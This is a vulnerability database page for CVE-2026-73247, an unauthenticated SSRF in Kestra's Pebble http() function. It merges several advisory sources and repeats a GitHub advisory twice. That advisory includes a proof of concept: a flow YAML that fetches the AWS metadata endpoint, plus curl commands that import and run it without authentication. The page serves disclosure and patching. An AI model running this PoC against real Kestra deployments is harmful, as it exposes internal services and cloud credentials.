Every CVE Search/ Get API key

CVE-2026-73247

Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

8.6 HighFix available

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.41%Up 0.1 points since Aug 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.6

Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Record
CVE-2026-73247
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-57013 8.6

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Record
EUVD-2026-57013
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-r56g-q4p6-m3p6 8.6

Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

Summary

The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.

Details

The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):

  1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes
  2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
  3. No scheme restriction: file://, gopher:// schemes are not blocked
  4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication
  5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180

PoC

Prerequisites:

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30

Step 1: Create malicious Flow YAML

cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

Step 2: Import without authentication

curl -X POST http://localhost:8080/api/v1/main/flows/import \
  -F "fileUpload=@/tmp/ssrf_poc.yaml"

Step 3: Execute the flow

curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata

Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)

Impact

  • CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Affected: All Kestra OSS versions (default deployment)
  • Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Record
GHSA-r56g-q4p6-m3p6
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 8.6

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Record
CVE-2026-73247
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 8.6

Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

Kestra is an open-source, event-driven orchestration platform. Prior to 2.0.0, Kestra's core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java passes the user-controlled http() uri argument to URI.create() and the server-side HTTP client without restricting private, loopback, or link-local destinations, allowing an unauthenticated attacker to import and execute a flow that accesses internal services or cloud metadata.

Record
CVE-2026-73247
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-r56g-q4p6-m3p6 8.6

Kestra: SSRF via Pebble http() function allows unauthenticated access to internal services & cloud metadata

Summary

The Pebble template engine's http() function in Kestra OSS accepts user-controlled URLs without any validation, allowing Server-Side Request Forgery (SSRF) attacks. An unauthenticated attacker can import a malicious Flow YAML and execute it to access internal services, cloud metadata endpoints (AWS 169.254.169.254), or localhost services. The vulnerability affects all Kestra OSS deployments with default configuration.

Details

The root cause is in core/src/main/java/io/kestra/core/runners/pebble/functions/HttpFunction.java (lines 77-106):

  1. No URL validation: User input is passed directly to URI.create() with no checks for private IPs, internal hosts, or restricted schemes
  2. No IP filtering: Missing checks for 10.0.0.0/8, 192.168.0.0/16, 169.254.169.254, 127.0.0.1
  3. No scheme restriction: file://, gopher:// schemes are not blocked
  4. No authentication required: TenantValidationFilter.java only checks tenant == "main" — no authentication
  5. Unconditional registration: HttpFunction is registered without any feature flags in Extension.java:180

PoC

Prerequisites:

docker run -d --name kestra-ssrf -p 8080:8080 kestra/kestra:latest server local
sleep 30

Step 1: Create malicious Flow YAML

cat > /tmp/ssrf_poc.yaml << 'YAML'
id: ssrf_metadata
namespace: company.team
tasks:
  - id: exfiltrate
    type: io.kestra.plugin.core.log.Log
    message: |
      {{ http(uri='http://169.254.169.254/latest/meta-data/', method='GET') }}
YAML

Step 2: Import without authentication

curl -X POST http://localhost:8080/api/v1/main/flows/import \
  -F "fileUpload=@/tmp/ssrf_poc.yaml"

Step 3: Execute the flow

curl -X POST http://localhost:8080/api/v1/main/executions/company.team/ssrf_metadata

Step 4: Verify — the flow execution output contains AWS EC2 metadata (ami-id, instance-type, IAM credentials if available)

Impact

  • CVSS 3.1: 8.6 (HIGH) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
  • CWE: CWE-918 (Server-Side Request Forgery)
  • Affected: All Kestra OSS versions (default deployment)
  • Impact: Attackers can access internal services, cloud metadata (AWS/GCP/Azure), localhost endpoints, and potentially escalate to cloud credential theft
Record
GHSA-r56g-q4p6-m3p6
CVSS 3.1
8.6 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
io.kestra:core
Maven
through 1.3.31 None known
io.kestra:kestra-core
Maven
before 2.0.0
2.0.0
io.kestra:core
Maven
through 1.3.31, plus listed versions
0.10.00.10.10.11.00.11.10.11.2
Show 45 moreShow less
0.12.00.12.10.12.20.12.30.12.40.12.50.12.60.12.70.13.00.13.10.13.100.13.20.13.30.13.40.13.50.13.60.13.70.13.80.13.90.14.00.14.10.14.20.14.30.14.40.15.00.15.10.15.100.15.110.15.120.15.130.15.140.15.150.15.160.15.170.15.180.15.190.15.20.15.200.15.210.15.220.15.230.15.240.15.250.15.260.15.27
None known

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-73247 is a high vulnerability (CVSS 8.6) in Kestra-io Kestra, published August 11, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.41%, the 35th percentile. Fixed in io.kestra:kestra-core 2.0.0.

References

This page doesn't list everything

Left out here: 443 versions. The JSON record has them.

MoveEnter Open